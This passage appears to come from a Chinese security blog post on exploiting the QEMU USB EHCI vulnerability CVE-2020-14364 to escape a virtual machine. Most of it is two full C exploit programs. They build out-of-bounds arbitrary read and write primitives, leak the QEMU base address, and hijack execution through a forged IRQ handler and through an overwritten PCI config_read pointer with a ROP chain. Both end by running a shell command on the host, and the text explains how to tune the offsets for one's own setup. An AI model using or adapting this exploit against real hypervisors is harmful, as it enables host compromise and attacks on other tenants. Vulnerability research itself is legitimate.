最后越界读,就能读取目标地址的内容。
unsigned long arb_read(uint64_t target_addr)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
do_copy_write(0, 0x1010, 0xfffffff8-0x1010); //越界写
*(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN ??
unsigned int target_offset = target_addr - data_buf_addr;
do_copy_write(0x8, 0xffff, target_offset - 0x1018);// 这里offset为0x8,是因为从data_buf-8 处开始写。
do_copy_read(); //越界读
return *(unsigned long *)(data_buf);
}
任意写原语
首先设置越界长度0x1010,同上操作;
越界写,将setup_len 设置成目标偏移-0x1010,usb_packet_copy后面的s->setup_index += len操作后,s->setup_index就变成目标偏移offset。将setup_index设置成目标偏移+0x8, 经过下次越界写的len = s->setup_len – s->setup_index => len =(offset+0x8)-offset=0x8,只修改目标地址8个字节的内容;
再次越界写,修改目标地址的内容。
void arb_write(uint64_t target_addr, uint64_t payload)
{
setup_state_data();
//首先设置越界长度0x1010
set_length(0x1010, USB_DIR_OUT);
//目标地址偏移
unsigned long offset = target_addr - data_buf_addr;
//设置 setup_index 和 setup_len
do_copy_write(0, offset+0x8, offset-0x1010);
//修改目标地址内容
*(unsigned long *)(data_buf) = payload;
do_copy_write(0, 0xffff, 0);
}
exp
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdbool.h>
#include <netinet/in.h>
struct EHCIqh * qh;
struct EHCIqtd * qtd;
struct ohci_td * td;
char *dmabuf;
char *setup_buf;
unsigned char *mmio_mem;
unsigned char *data_buf;
unsigned char *data_buf_oob;
uint32_t *entry;
uint64_t dev_addr;
uint64_t data_buf_addr;
uint64_t USBPort_addr;
#define PORTSC_PRESET (1 << 8) // Port Reset
#define PORTSC_PED (1 << 2) // Port Enable/Disable
#define USBCMD_RUNSTOP (1 << 0)
#define USBCMD_PSE (1 << 4)
#define USB_DIR_OUT 0
#define USB_DIR_IN 0x80
#define QTD_TOKEN_ACTIVE (1 << 7)
#define USB_TOKEN_SETUP 2
#define USB_TOKEN_IN 1 /* device -> host */
#define USB_TOKEN_OUT 0 /* host -> device */
#define QTD_TOKEN_TBYTES_SH 16
#define QTD_TOKEN_PID_SH 8
typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
USBEndpoint *fd;
USBEndpoint *bk;
};
struct USBDevice {
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;
USBEndpoint ep_ctl;
USBEndpoint ep_in[15];
USBEndpoint ep_out[15];
};
typedef struct EHCIqh {
uint32_t next; /* Standard next link pointer */
/* endpoint characteristics */
uint32_t epchar;
/* endpoint capabilities */
uint32_t epcap;
uint32_t current_qtd; /* Standard next link pointer */
uint32_t next_qtd; /* Standard next link pointer */
uint32_t altnext_qtd;
uint32_t token; /* Same as QTD token */
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqh;
typedef struct EHCIqtd {
uint32_t next; /* Standard next link pointer */
uint32_t altnext; /* Standard next link pointer */
uint32_t token;
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqtd;
/* 板子操作 */
uint64_t virt2phys(void* p)
{
uint64_t virt = (uint64_t)p;
// Assert page alignment
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1)
die("open");
uint64_t offset = (virt / 0x1000) * 8;
lseek(fd, offset, SEEK_SET);
uint64_t phys;
if (read(fd, &phys, 8 ) != 8)
die("read");
// Assert page present
phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);
return phys;
}
void die(const char* msg)
{
perror(msg);
exit(-1);
}
/* 这俩函数板子操作 */
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint64_t mmio_read(uint32_t addr)
{
return *((uint64_t*)(mmio_mem + addr));
}
void init(){
/* 板子操作,注意resource0前面的数字要调试得到 */
/* MMIO就是通过将外设备映射到内存空间,便于CPU的访问 */
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:01.2/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
/* 映射到usb 设备的内存 */
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
/* 映射一块dmabufs */
dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED)
die("mmap");
/* 上锁,防止被调度 */
mlock(dmabuf, 0x3000);
entry = dmabuf + 4;
qh = dmabuf + 0x100;
qtd = dmabuf + 0x200;
setup_buf = dmabuf + 0x300;
data_buf = dmabuf + 0x1000;
data_buf_oob = dmabuf + 0x2000;
}
void reset_enable_port(){
/* 对usb设备0x64偏移处进行写入操作,0x64 的偏移对应到 portsc
对该字段写操作会调用到ehci_port_write */
mmio_write(0x64, PORTSC_PRESET);
mmio_write(0x64, PORTSC_PED);
}
//这个函数在上面分析过了,相当于告诉qemu我参数设置好了,可以触发漏洞函数了
void set_EHCIState(){
mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase
mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmd
sleep(1);
}
void set_qh(){
qh->epchar = 0x00;
qh->token = QTD_TOKEN_ACTIVE;
qh->current_qtd = virt2phys(qtd);
}
void init_state(){
//为了能走到漏洞函数那设置的条件
reset_enable_port();
//同上
set_qh();
//设置越界长度
setup_buf[6] = 0xff;
setup_buf[7] = 0x0;
/* 我们调用do_token_setup 设置s->setup_len 的长度为越界长度
需要进入do_token_setup 需要通过设置qtd->token值 */
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(setup_buf);
*entry = virt2phys(qh)+0x2;
set_EHCIState();
}
//设置越界长度,调用do_token_setup
void set_length(uint16_t len,uint8_t option){
reset_enable_port();
set_qh();
setup_buf[0] = option;
setup_buf[6] = len & 0xff;
setup_buf[7] = (len >> 8 ) & 0xff;
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(setup_buf);
set_EHCIState();
}
//越界读,调用do_token_out
void do_copy_read(){
reset_enable_port();
set_qh();
//设置token进入do_token_in 设置p->iov.size
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(data_buf);
qtd->bufptr[1] = virt2phys(data_buf_oob);
set_EHCIState();
}
//越界写,调用do_token_in
void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index){
reset_enable_port();
set_qh();
*(unsigned long *)(data_buf_oob + offset) = 0x0000000200000002; // 覆盖成原先的内容
*(unsigned int *)(data_buf_oob + 0x8 +offset) = setup_len;
*(unsigned int *)(data_buf_oob + 0xc+ offset) = setup_index;
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; // flag
qtd->bufptr[0] = virt2phys(data_buf);
qtd->bufptr[1] = virt2phys(data_buf_oob);
set_EHCIState();
}
void setup_state_data(){
set_length(0x500, USB_DIR_OUT);
}
//任意写
void arb_write(uint64_t target_addr, uint64_t payload)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
unsigned long offset = target_addr - data_buf_addr;
do_copy_write(0, offset+0x8, offset-0x1010);
*(unsigned long *)(data_buf) = payload;
do_copy_write(0, 0xffff, 0);
}
//任意读
unsigned long arb_read(uint64_t target_addr)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
do_copy_write(0, 0x1010, 0xfffffff8-0x1010);
*(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN
unsigned int target_offset = target_addr - data_buf_addr;
do_copy_write(0x8, 0xffff, target_offset - 0x1018);
do_copy_read(); // oob read
return *(unsigned long *)(data_buf);
}
int main()
{
init();
/* 修改当前进程的操作端口权限,为三时可以读写端口 */
iopl(3);
/*I/O 0xc0c0上写入16位数据 0*/
outw(0,0xc080);
/* 写0,0xc0e0端口*/
outw(0,0xc0a0);
outw(0,0xc0c0);
//给上面那三个端口写数据是干嘛的?
sleep(3);
/* 设置触发漏洞环境 */
init_state();
/* 设置越界长度 */
set_length(0x2000, USB_DIR_IN);
/* 越界读一次,为了得到基址 */
do_copy_read();
struct USBDevice* usb_device_tmp = data_buf + 0x4;
struct USBDevice usb_device;
memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));
dev_addr = usb_device.ep_ctl.dev;
data_buf_addr = dev_addr + 0xdc;
USBPort_addr = dev_addr + 0x78;
printf("USBDevice dev_addr: 0x%llx\n", dev_addr);
printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr);
printf("USBPort_addr: 0x%llx\n", USBPort_addr);
uint64_t *tmp=dmabuf+0x24f4+8;
long long leak_addr = *tmp;
if(leak_addr == 0){
printf("INIT DOWN,DO IT AGAIN\n");
return 0;
}
long long base = leak_addr - 0xc40d90; //maybe wrong
uint64_t system_plt = base + 0x290D30; //maybe wrong
printf("leak elf_base address : %llx!\n", base);
printf("leak system_plt address: %llx!\n", system_plt);
//读取USBDevice->port的内容就能获得EHCIState->ports 的地址
unsigned long USBPort_ptr = arb_read(USBPort_addr);
//减去偏移得到 EHCIState的地址
unsigned long EHCIState_addr = USBPort_ptr - 0x540;
//进而得到EHCIState->irq地址
unsigned long irq_addr = EHCIState_addr + 0xc0;
//伪造一个irq地址
unsigned long fake_irq_addr = data_buf_addr; //dev_addr + 0xdc;
//保存原来的irq
unsigned long irq_ptr = arb_read(irq_addr);
printf("EHCIState_addr: 0x%llx\n", EHCIState_addr);
printf("USBPort_ptr: 0x%llx\n", USBPort_ptr);
printf("irq_addr: 0x%llx\n", irq_addr);
printf("fake_irq_addr: 0x%llx\n", fake_irq_addr);
printf("irq_ptr: 0x%llx\n", irq_ptr);
/*
struct IRQState {
Object parent_obj;
qemu_irq_handler handler;
void *opaque;
int n;
};
*/
//构造 fake_irq
//设置越界长度为0x500然后设定out
setup_state_data();
*(unsigned long *)(data_buf + 0x28) = system_plt; // handler 填充成system@plt地址
*(unsigned long *)(data_buf + 0x30) = dev_addr+0xdc+0x100; //opaque填充成payload的地址
*(unsigned long *)(data_buf + 0x38) = 0x3; //n
*(unsigned long *)(data_buf + 0x100) = 0x636c616378; // "xcalc"
//这个越界写是干嘛的??
do_copy_write(0, 0xffff, 0xffff);
//利用任意写将EHCIState->irq内容填充为伪造的irq地址
arb_write(irq_addr, fake_irq_addr);
// write back irq_ptr
arb_write(irq_addr, irq_ptr);
//mmio 读写触发ehci_update_irq -> qemu_set_irq,最终执行system("xcalc"),完成利用。
/*
void qemu_set_irq(qemu_irq irq, int level)
{
if (!irq)
return;
irq->handler(irq->opaque, irq->n, level);
}
*/
};
第二种思路
关于任意读写原语的部分和上面的一样,这一利用手法主要利用QEMU启动时加载的qxl-vga设备,配置在上面有:
通过越界读获取 USBdevice 对象的地址,这里通过读取dmabuf+0x2004可以得到USBDevice->remote_wakeup的内容(这里+4是因为结构体的内存对齐)。往下读有一个 USBEndpoint ep_ctl 结构体,ep_ctl->dev 保存着USBdevice 对象的地址,就可以泄露 USBdevice 对象的地址。计算偏移就可以获得data_buf 和USBPort 字段的地址。
这点和上面的利用一样,都是通过ep-ctl得到USBdevice对象的地址,从而得到对象中其他部分的地址,
利用任意读泄露data_buf后面的内存数据,查找”qxl-vga”字符串,就能得到PCIDevice->name的地址,减去偏移得到PCIDevice结构体地址。利用任意写,修改config_read保存的函数指针,在虚拟机里读取pci配置寄存器(调用system(“lspci”)) 就可触发config_read指向的函数,原本调用pci_default_read_config ,可以将函数指针修改成system@plt。上一步已经可以控制rip,但是传参有问题,先来看看config_read指向的函数被调用时传递的参数。
struct PCIDevice {
[ ... ]
PCIReqIDCache requester_id_cache;
char name[64]; // ->保存设备的名字,"qxl-vga"
PCIIORegion io_regions[PCI_NUM_REGIONS];
AddressSpace bus_master_as;
MemoryRegion bus_master_container_region;
MemoryRegion bus_master_enable_region;
/* do not access the following fields */
PCIConfigReadFunc *config_read; //这里
PCIConfigWriteFunc *config_write; //这里
/* Legacy PCI VGA regions */
MemoryRegion *vga_regions[QEMU_PCI_VGA_NUM_REGIONS];
bool has_vga;
[ ... ]
};
利用任意写,修改config_read保存的函数指针,在虚拟机里读取pci配置寄存器(调用system(“lspci”)) 就可触发config_read指向的函数,原本调用pci_default_read_config ,可以将函数指针修改成system@plt。
上一步已经可以控制rip,但是传参有问题,先来看看config_read指向的函数被调用时传递的参数。
大部分都是赋值的,然后找到了一个调用如下:
uint32_t pci_host_config_read_common(PCIDevice *pci_dev, uint32_t addr,
uint32_t limit, uint32_t len)
{
uint32_t ret;
pci_adjust_config_limit(pci_get_bus(pci_dev), &limit); //比2.11多了这个函数,使得直接把pyload布置在pci_dev变得不可行
if (limit <= addr) {
return ~0x0;
}
assert(len <= 4);
/* non-zero functions are only exposed when function 0 is present,
* allowing direct removal of unexposed functions.
*/
if (pci_dev->qdev.hotplugged && !pci_get_function_0(pci_dev)) {
return ~0x0;
}
ret = pci_dev->config_read(pci_dev, addr, MIN(len, limit - addr)); //到这里调用,也就是说上面的函数是无法避免被运行的
trace_pci_cfg_read(pci_dev->name, PCI_SLOT(pci_dev->devfn),
PCI_FUNC(pci_dev->devfn), addr, ret);
return ret;
}
=====================================================================================
static inline PCIBus *pci_get_bus(const PCIDevice *dev)
{
return PCI_BUS(qdev_get_parent_bus(DEVICE(dev)));
}
=====================================================================================
#define PCI_BUS(obj) OBJECT_CHECK(PCIBus, (obj), TYPE_PCI_BUS)
======================================================================================
#define OBJECT_CHECK(type, obj, name) \
((type *)object_dynamic_cast_assert(OBJECT(obj), (name), \
__FILE__, __LINE__, __func__))
====================================================================================
#define OBJECT(obj) \
((Object *)(obj)) //这里
涉及到寻址操作,因为覆盖了dev为payload,所以这个操作很可能会访问非法地址,所以这里不能放payload。
同样的,我们甚至不能直接将config_read函数指针指向system,可以将其指向其他地方,我们可以用rop链,将payload放栈上,然后调用system。
栈转移利用xchg rax, rbp; mov cl, 0xff; mov eax, dword ptr [rbp – 0x10]; leave; ret;
可以将rax的值给rbp后,再通过leave指令(相当于mov rsp, rbp; pop rbp;),间接将rax的值赋给rsp,完成栈切换。
以下来自[CVE-2020-14364-Qemu逃逸漏洞分析及两种利用思路 – 先知社区。
new rsp ===> [0x00] : pop rax; ret; 将system的plt设为rax
[0x08] : system@plt
[0x10] : pop rdi; ret; 将"xcalc"赋值为rdi,作为调用system的第一个参数
/-- [0x18] : rsp+0x30
| [0x20] : sub al, 0; call rax; 调用rax,也就是system
| [0x28] :
|-> [0x30] : "xcalc"
exp
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdbool.h>
#include <netinet/in.h>
struct EHCIqh * qh;
struct EHCIqtd * qtd;
struct ohci_td * td;
char *dmabuf;
char *setup_buf;
unsigned char *mmio_mem;
unsigned char *data_buf;
unsigned char *data_buf_oob;
uint32_t *entry;
uint64_t dev_addr;
uint64_t data_buf_addr;
uint64_t USBPort_addr;
#define PORTSC_PRESET (1 << 8) // Port Reset
#define PORTSC_PED (1 << 2) // Port Enable/Disable
#define USBCMD_RUNSTOP (1 << 0) // run / Stop
#define USBCMD_PSE (1 << 4) // Periodic Schedule Enable
#define USB_DIR_OUT 0
#define USB_DIR_IN 0x80
#define QTD_TOKEN_ACTIVE (1 << 7)
#define USB_TOKEN_SETUP 2
#define USB_TOKEN_IN 1 /* device -> host */
#define USB_TOKEN_OUT 0 /* host -> device */
#define QTD_TOKEN_TBYTES_SH 16
#define QTD_TOKEN_PID_SH 8
typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
USBEndpoint *fd;
USBEndpoint *bk;
};
struct USBDevice {
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;
USBEndpoint ep_ctl;
USBEndpoint ep_in[15];
USBEndpoint ep_out[15];
};
typedef struct EHCIqh {
uint32_t next; /* Standard next link pointer */
/* endpoint characteristics */
uint32_t epchar;
/* endpoint capabilities */
uint32_t epcap;
uint32_t current_qtd; /* Standard next link pointer */
uint32_t next_qtd; /* Standard next link pointer */
uint32_t altnext_qtd;
uint32_t token; /* Same as QTD token */
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqh;
typedef struct EHCIqtd {
uint32_t next; /* Standard next link pointer */
uint32_t altnext; /* Standard next link pointer */
uint32_t token;
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqtd;
uint64_t virt2phys(void* p)
{
uint64_t virt = (uint64_t)p;
// Assert page alignment
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1)
die("open");
uint64_t offset = (virt / 0x1000) * 8;
lseek(fd, offset, SEEK_SET);
uint64_t phys;
if (read(fd, &phys, 8 ) != 8)
die("read");
// Assert page present
phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);
return phys;
}
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint64_t mmio_read(uint32_t addr)
{
return *((uint64_t*)(mmio_mem + addr));
}
void init(){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:1d.7/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED)
die("mmap");
mlock(dmabuf, 0x3000);
entry = dmabuf + 4;
qh = dmabuf + 0x100;
qtd = dmabuf + 0x200;
setup_buf = dmabuf + 0x300;
data_buf = dmabuf + 0x1000;
data_buf_oob = dmabuf + 0x2000;
}
void reset_enable_port(){
mmio_write(0x64, PORTSC_PRESET);
mmio_write(0x64, PORTSC_PED);
}
void set_EHCIState(){
mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase
mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmd
sleep(1);
}
void set_qh(){
qh->epchar = 0x00;
qh->token = QTD_TOKEN_ACTIVE;
qh->current_qtd = virt2phys(qtd);
}
void init_state(){
reset_enable_port();
set_qh();
setup_buf[6] = 0xff;
setup_buf[7] = 0x0;
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(setup_buf);
*entry = virt2phys(qh)+0x2;
set_EHCIState();
}
void set_length(uint16_t len,uint8_t option){
reset_enable_port();
set_qh();
setup_buf[0] = option;
setup_buf[6] = len & 0xff;
setup_buf[7] = (len >> 8 ) & 0xff;
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(setup_buf);
set_EHCIState();
}
void do_copy_read(){
reset_enable_port();
set_qh();
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(data_buf);
qtd->bufptr[1] = virt2phys(data_buf_oob);
set_EHCIState();
}
void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index){
reset_enable_port();
set_qh();
*(unsigned long *)(data_buf_oob + offset) = 0x0000000200000002;
*(unsigned int *)(data_buf_oob + 0x8 +offset) = setup_len; //setup_len
*(unsigned int *)(data_buf_oob + 0xc+ offset) = setup_index;
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; // flag
qtd->bufptr[0] = virt2phys(data_buf);
qtd->bufptr[1] = virt2phys(data_buf_oob);
set_EHCIState();
}
void setup_state_data(){
set_length(0x500, USB_DIR_OUT);
}
void arb_write(uint64_t target_addr, uint64_t payload)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
unsigned long offset = target_addr - data_buf_addr;
do_copy_write(0, offset+0x8, offset-0x1010);
*(unsigned long *)(data_buf) = payload;
do_copy_write(0, 0xffff, 0);
}
unsigned long arb_read(uint64_t target_addr)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
do_copy_write(0, 0x1010, 0xfffffff8-0x1010);
*(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN
unsigned int target_offset = target_addr - data_buf_addr;
do_copy_write(0x8, 0xffff, target_offset - 0x1018);
do_copy_read(); // oob read
return *(unsigned long *)(data_buf);
}
int main()
{
init();
iopl(3);
outw(0,0xc080);
outw(0,0xc0a0);
outw(0,0xc0c0);
sleep(3);
init_state();
set_length(0x2000, USB_DIR_IN);
do_copy_read(); // oob read
struct USBDevice* usb_device_tmp=dmabuf+0x2004;
struct USBDevice usb_device;
memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));
dev_addr = usb_device.ep_ctl.dev;
data_buf_addr = dev_addr + 0xdc;
printf("USBDevice dev_addr: 0x%llx\n", dev_addr);
printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr);
uint64_t *tmp=dmabuf+0x24f4+8;
long long leak_addr = *tmp;
if(leak_addr == 0){
printf("INIT DOWN,DO IT AGAIN\n");
return 0;
}
long long base = leak_addr - 0xc40d90; //maybe wrong
uint64_t system_plt = base + 0x290D30; //maybe wrong
printf("leak elf_base address : %llx!\n", base);
printf("leak system_plt address: %llx!\n", system_plt);
unsigned long search_start_addr = data_buf_addr + 0x5500;
arb_read(search_start_addr);
char *mask = "qxl-vga\0";
unsigned long find = memmem(data_buf, 0x1f00, mask, 0x8);
unsigned long offset = (find&0xffffffff) - ((unsigned long)(data_buf)&0xffffffff) + 0x5500;
unsigned long config_read_addr = data_buf_addr + offset + 0x390;
unsigned long pci_dev = config_read_addr - 0x450;
printf("config_read_addr: 0x%llx\n", config_read_addr);
printf("pci_dev: 0x%llx\n", pci_dev);
unsigned long pci_dev_content = arb_read(pci_dev);
unsigned long rop_start = base + 0x774ff0; //xchg rax, rbp; mov cl, 0xff; mov eax, dword ptr [rbp - 0x10]; leave; ret;
printf("pci_dev_content: 0x%llx\n", pci_dev_content);
printf("rop_start: 0x%llx\n", rop_start);
unsigned long rsp = pci_dev + 0x8; // leave -> mov rsp, rbp; pop rbp;
printf("new rsp: 0x%llx\n", rsp);
unsigned long pop_rax = base + 0x523519; // pop rax; ret; //maybe wrong
unsigned long pop_rdi = base + 0x3b51e5; // pop rdi; ret; //maybe wrong
unsigned long call_rax = base + 0x71bd09; // sub al, 0; call rax; //maybe wrong
arb_write(rsp, pop_rax);
arb_write(rsp+8, system_plt);
arb_write(rsp+0x10, pop_rdi);
arb_write(rsp+0x18, rsp+0x30);
arb_write(rsp+0x20, call_rax);
arb_write(rsp+0x30, 0x636c616378);
arb_write(config_read_addr, rop_start);
system("lspci");
};
如果本地没打通的话那八成是system的plt地址以及加载地址没根据自己环境进行调整。
前面求到USBDevice的基址了,通过偏移得到USBDevice结构体中USBDescDevice *device 然后根据其指向的地址的值距离QEMU加载地址的偏移,得到QEMU加载的基址,然后通过ida得到system@plt距离QEMU基址的偏移,得到system的地址。
改一下上面标注的maybe wrong处的数据值就可以。
前两思路的参考
[CVE-2020-14364-Qemu逃逸漏洞分析及两种利用思路 – 先知社区 (aliyun.com)]
[QEMU CVE-2020-14364 漏洞分析(含POC演示) – FreeBuf]
下期我们将继续更新后两种网上现未公开的利用usb1的利用方式,敬请期待~
来源:freebuf.com 2021-06-07 22:27:04 by: 北京星阑科技有限公司
请登录后发表评论
注册